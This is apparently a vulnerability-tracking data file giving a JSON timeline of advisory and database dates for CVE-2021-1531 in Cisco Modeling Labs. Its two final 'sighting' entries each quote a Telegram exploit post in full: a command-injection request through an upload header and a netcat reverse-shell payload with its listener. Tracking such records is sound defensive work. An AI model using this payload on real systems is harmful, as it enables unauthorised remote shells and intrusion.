{"metadata": {"vulnerability": "CVE-2021-1531", "count": 40, "kinds": {"milestone": 5, "sighting": 2, "kev": 0, "other": 33}}, "data": [{"timestamp": "2020-11-13T00:00:00Z", "date_only": false, "value": "2020-11-13T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2021-1531", "field": "cveMetadata.dateReserved"}, {"timestamp": "2021-04-13T00:00:00Z", "date_only": false, "value": "2021-04-13T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202105-0624", "record": "VAR-202105-0624", "field": "sources_release_date.data.5.date"}, {"timestamp": "2021-04-14T00:00:00Z", "date_only": false, "value": "2021-04-14T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202105-0624", "record": "VAR-202105-0624", "field": "sources_update_date.data.5.date"}, {"timestamp": "2021-05-17T20:09:44Z", "date_only": false, "value": "2021-05-17T20:09:44+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_cisco \u00b7 CISCO-SA-CML-CMD-INJECT-N4VYEQXB", "record": "CISCO-SA-CML-CMD-INJECT-N4VYEQXB", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2021-05-19T00:00:00Z", "date_only": false, "value": "2021-05-19T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202105-0624", "record": "VAR-202105-0624", "field": "sources_release_date.data.4.date"}, {"timestamp": "2021-05-19T00:00:00Z", "date_only": false, "value": "2021-05-19T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / cisco", "record": "CVE-2021-1531", "field": "containers.cna.datePublic"}, {"timestamp": "2021-05-19T16:00:00Z", "date_only": false, "value": "2021-05-19T16:00:00", "kind": "other", "label": "DATE PUBLIC", "source": "cvelistv5 / cisco", "record": "CVE-2021-1531", "field": "containers.cna.x_legacyV4Record.CVE_data_meta.DATE_PUBLIC"}, {"timestamp": "2021-05-19T16:00:00Z", "date_only": false, "value": "2021-05-19T16:00:00", "kind": "other", "label": "DATE PUBLIC", "source": "gsd \u00b7 GSD-2021-1531", "record": "GSD-2021-1531", "field": "namespaces.cve.org.CVE_data_meta.DATE_PUBLIC"}, {"timestamp": "2021-05-19T16:00:00Z", "date_only": false, "value": "2021-05-19T16:00:00+00:00", "kind": "milestone", "label": "Published", "source": "csaf_cisco \u00b7 CISCO-SA-CML-CMD-INJECT-N4VYEQXB", "record": "CISCO-SA-CML-CMD-INJECT-N4VYEQXB", "field": "document.tracking.initial_release_date"}, {"timestamp": "2021-05-19T16:00:00Z", "date_only": false, "value": "2021-05-19T16:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_cisco \u00b7 CISCO-SA-CML-CMD-INJECT-N4VYEQXB", "record": "CISCO-SA-CML-CMD-INJECT-N4VYEQXB", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2021-05-19T16:00:00Z", "date_only": false, "value": "2021-05-19T16:00:00+00:00", "kind": "other", "label": "Updated", "source": "csaf_cisco \u00b7 CISCO-SA-CML-CMD-INJECT-N4VYEQXB", "record": "CISCO-SA-CML-CMD-INJECT-N4VYEQXB", "field": "document.tracking.current_release_date"}, {"timestamp": "2021-05-20T00:00:00Z", "date_only": false, "value": "2021-05-20T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2021-AVI-394", "record": "CERTFR-2021-AVI-394", "field": "revisions.0.revision_date"}, {"timestamp": "2021-05-21T00:00:00Z", "date_only": true, "value": "2021-05-21", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2021-36526", "record": "CNVD-2021-36526", "field": "submitTime"}, {"timestamp": "2021-05-22T00:00:00Z", "date_only": false, "value": "2021-05-22T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202105-0624", "record": "VAR-202105-0624", "field": "sources_update_date.data.1.date"}, {"timestamp": "2021-05-22T00:00:00Z", "date_only": true, "value": "2021-05-22", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2021-36526", "record": "CNVD-2021-36526", "field": "openTime"}, {"timestamp": "2021-05-22T06:45:26.459Z", "date_only": false, "value": "2021-05-22T06:45:26.459Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2021-1531", "field": "cveMetadata.datePublished"}, {"timestamp": "2021-05-22T07:15:00Z", "date_only": false, "value": "2021-05-22T07:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-M74M-F2XH-459P", "record": "GHSA-M74M-F2XH-459P", "field": "database_specific.nvd_published_at"}, {"timestamp": "2021-05-22T07:15:00Z", "date_only": false, "value": "2021-05-22T07:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2021-1531", "record": "GSD-2021-1531", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2021-05-22T07:15:07.350Z", "date_only": false, "value": "2021-05-22T07:15:07.350000", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202105-0624", "record": "VAR-202105-0624", "field": "sources_release_date.data.3.date"}, {"timestamp": "2021-05-22T07:15:07.350Z", "date_only": false, "value": "2021-05-22T07:15:07.350", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-1531", "record": "FKIE_CVE-2021-1531", "field": "published"}, {"timestamp": "2021-06-23T17:06:18Z", "date_only": false, "value": "2021-06-23T17:06:18.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / cisco", "record": "CVE-2021-1531", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2022-02-03T00:00:00Z", "date_only": false, "value": "2022-02-03T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202105-0624", "record": "VAR-202105-0624", "field": "sources_release_date.data.2.date"}, {"timestamp": "2022-02-03T08:31:00Z", "date_only": false, "value": "2022-02-03T08:31:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202105-0624", "record": "VAR-202105-0624", "field": "sources_update_date.data.2.date"}, {"timestamp": "2022-05-13T00:00:00Z", "date_only": false, "value": "2022-05-13T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202105-0624", "record": "VAR-202105-0624", "field": "sources_update_date.data.0.date"}, {"timestamp": "2022-05-13T19:45:00Z", "date_only": false, "value": "2022-05-13T19:45Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2021-1531", "record": "GSD-2021-1531", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2022-05-16T00:00:00Z", "date_only": false, "value": "2022-05-16T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202105-0624", "record": "VAR-202105-0624", "field": "sources_update_date.data.4.date"}, {"timestamp": "2022-05-24T19:03:00Z", "date_only": false, "value": "2022-05-24T19:03:00Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-M74M-F2XH-459P", "record": "GHSA-M74M-F2XH-459P", "field": "published"}, {"timestamp": "2022-05-24T19:03:00Z", "date_only": false, "value": "2022-05-24T19:03:00Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-M74M-F2XH-459P", "record": "GHSA-M74M-F2XH-459P", "field": "modified"}, {"timestamp": "2023-11-07T03:28:33.080Z", "date_only": false, "value": "2023-11-07T03:28:33.080000", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202105-0624", "record": "VAR-202105-0624", "field": "sources_update_date.data.3.date"}, {"timestamp": "2023-12-13T01:23:22.225Z", "date_only": false, "value": "2023-12-13T01:23:22.225849Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2021-1531", "record": "GSD-2021-1531", "field": "gsd.osvSchema.modified"}, {"timestamp": "2023-12-18T11:19:30.248Z", "date_only": false, "value": "2023-12-18T11:19:30.248000Z", "kind": "other", "label": "Last update date", "source": "variot \u00b7 VAR-202105-0624", "record": "VAR-202105-0624", "field": "last_update_date"}, {"timestamp": "2024-05-10T23:04:57Z", "date_only": false, "value": "2024-05-10T23:04:57+00:00", "kind": "other", "label": "Document generated", "source": "csaf_cisco \u00b7 CISCO-SA-CML-CMD-INJECT-N4VYEQXB", "record": "CISCO-SA-CML-CMD-INJECT-N4VYEQXB", "field": "document.tracking.generator.date"}, {"timestamp": "2024-08-03T16:11:17.771Z", "date_only": false, "value": "2024-08-03T16:11:17.771Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2021-1531", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-11-08T17:45:36.918Z", "date_only": false, "value": "2024-11-08T17:45:36.918804Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2021-1531", "field": "containers.adp.1.metrics.0.other.content.timestamp"}, {"timestamp": "2024-11-08T17:45:36.918Z", "date_only": false, "value": "2024-11-08T17:45:36.918804Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-1531", "record": "FKIE_CVE-2021-1531", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2024-11-08T17:46:00.451Z", "date_only": false, "value": "2024-11-08T17:46:00.451Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2021-1531", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-11-08T17:46:00.451Z", "date_only": false, "value": "2024-11-08T17:46:00.451Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2021-1531", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2026-06-17T03:31:59.777Z", "date_only": false, "value": "2026-06-17T03:31:59.777", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-1531", "record": "FKIE_CVE-2021-1531", "field": "lastModified"}, {"timestamp": "2026-09-01T20:02:34.894Z", "date_only": false, "value": "2026-09-01T20:02:34.894521Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/13978", "record": "CVE-2021-1531", "field": "creation_timestamp", "uuid": "67ecd0bd-4da3-4753-9260-cb8fa6af384d", "content": "Exploit Collector\nCisco Modeling Labs 2.1.1-b19 Remote Command Execution\n\nhttps://3.bp.blogspot.com/-8aNXwMYQICE/WWlvIs7ranI/AAAAAAAAILw/f2UnTjqyD14e3ZIoWuyFJjQ7Is9Nz7MtQCLcBGAs/s1600/h144.png \nCisco Modeling Labs version 2.1.1-b19 remote command execution exploit.\n\nMD5 | a1d30ba3be5b867dccae401fb8872c58\n\nDownload\nCisco Modeling Labs 2.1.1-b19 Post-Auth RCE Vulnerability\n\nCVE-2021-1531\n\n=======\nDetails\n=======\n\nAuthenticated command injection in the web portal via the X-Original-File-Name header.\n\nTested with portal 'admin' user who does not have a system login or SSH access, but likely works for any user who can upload files in the portal.\n\n=====\nRepro\n=====\n\n-------\nRequest\n-------\n\nPOST /api/v0/images/upload HTTP/1.1\nHost: 10.10.10.118\nX-Original-File-Name: test.rpm';id>/tmp/123'\nAuthorization: Bearer [jwt token]\nContent-Length: 0\n\n--------\nResponse\n--------\n\nHTTP/1.1 200 OK\nServer: nginx/1.14.1\n...\n\n\"Success\"\n\n----------------\nLocal monitoring\n----------------\n\npid=5547 executed [/bin/sh -c /usr/local/bin/imagetool -stderrthreshold=INFO -multipart move '/var/local/virl2/nginx-temp-folder/0063443599' '/var/local/virl2/dropfolder/test.rpm';id>/tmp/123''; exit 0 ]\n\n.....\n\npid=5555 executed [id ]\n\n$ cat /tmp/123\nuid=982(virl2) gid=980(virl2) groups=980(virl2),982(wireshark),986(libvirt) context=system_u:system_r:unconfined_service_t:s0\n\n============\nExploitation\n============\n\nThe netcat binary with -e support is installed on the system, which makes gaining a remote shell as the virl2 user easy for demo.\n\n-------\nPayload\n-------\n\nX-Original-File-Name: test.rpm';nc 10.1.1.101 5000 -e /bin/bash'\n\n--------\nListener\n--------\n\n$ nc -l -p 5000\n.....\n*connection received from cml2*\n\n/usr/libexec/platform-python -c 'import pty; pty.spawn(\"/bin/bash\")'\n\n*** VIRL2 network simulator monitor ***\n\nCLI> uname -a\nLinux cml2-controller.cml.lab 4.18.0-80.11.2.el8_0.x86_64 #1 SMP Tue Sep 24 11:32:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux\n\nCLI> pwd\n/var/local/virl2\n\n===\nFix\n===\n\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cml-cmd-inject-N4VYeQXB\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/13978"}, {"timestamp": "2026-09-08T02:00:05.905Z", "date_only": false, "value": "2026-09-08T02:00:05.905833Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/13978", "record": "CVE-2021-1531", "field": "creation_timestamp", "uuid": "5cd77b60-499d-46ff-bbda-5ada66404da1", "content": "Exploit Collector\nCisco Modeling Labs 2.1.1-b19 Remote Command Execution\n\nhttps://3.bp.blogspot.com/-8aNXwMYQICE/WWlvIs7ranI/AAAAAAAAILw/f2UnTjqyD14e3ZIoWuyFJjQ7Is9Nz7MtQCLcBGAs/s1600/h144.png \nCisco Modeling Labs version 2.1.1-b19 remote command execution exploit.\n\nMD5 | a1d30ba3be5b867dccae401fb8872c58\n\nDownload\nCisco Modeling Labs 2.1.1-b19 Post-Auth RCE Vulnerability\n\nCVE-2021-1531\n\n=======\nDetails\n=======\n\nAuthenticated command injection in the web portal via the X-Original-File-Name header.\n\nTested with portal 'admin' user who does not have a system login or SSH access, but likely works for any user who can upload files in the portal.\n\n=====\nRepro\n=====\n\n-------\nRequest\n-------\n\nPOST /api/v0/images/upload HTTP/1.1\nHost: 10.10.10.118\nX-Original-File-Name: test.rpm';id>/tmp/123'\nAuthorization: Bearer [jwt token]\nContent-Length: 0\n\n--------\nResponse\n--------\n\nHTTP/1.1 200 OK\nServer: nginx/1.14.1\n...\n\n\"Success\"\n\n----------------\nLocal monitoring\n----------------\n\npid=5547 executed [/bin/sh -c /usr/local/bin/imagetool -stderrthreshold=INFO -multipart move '/var/local/virl2/nginx-temp-folder/0063443599' '/var/local/virl2/dropfolder/test.rpm';id>/tmp/123''; exit 0 ]\n\n.....\n\npid=5555 executed [id ]\n\n$ cat /tmp/123\nuid=982(virl2) gid=980(virl2) groups=980(virl2),982(wireshark),986(libvirt) context=system_u:system_r:unconfined_service_t:s0\n\n============\nExploitation\n============\n\nThe netcat binary with -e support is installed on the system, which makes gaining a remote shell as the virl2 user easy for demo.\n\n-------\nPayload\n-------\n\nX-Original-File-Name: test.rpm';nc 10.1.1.101 5000 -e /bin/bash'\n\n--------\nListener\n--------\n\n$ nc -l -p 5000\n.....\n*connection received from cml2*\n\n/usr/libexec/platform-python -c 'import pty; pty.spawn(\"/bin/bash\")'\n\n*** VIRL2 network simulator monitor ***\n\nCLI> uname -a\nLinux cml2-controller.cml.lab 4.18.0-80.11.2.el8_0.x86_64 #1 SMP Tue Sep 24 11:32:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux\n\nCLI> pwd\n/var/local/virl2\n\n===\nFix\n===\n\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cml-cmd-inject-N4VYeQXB\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/13978"}]}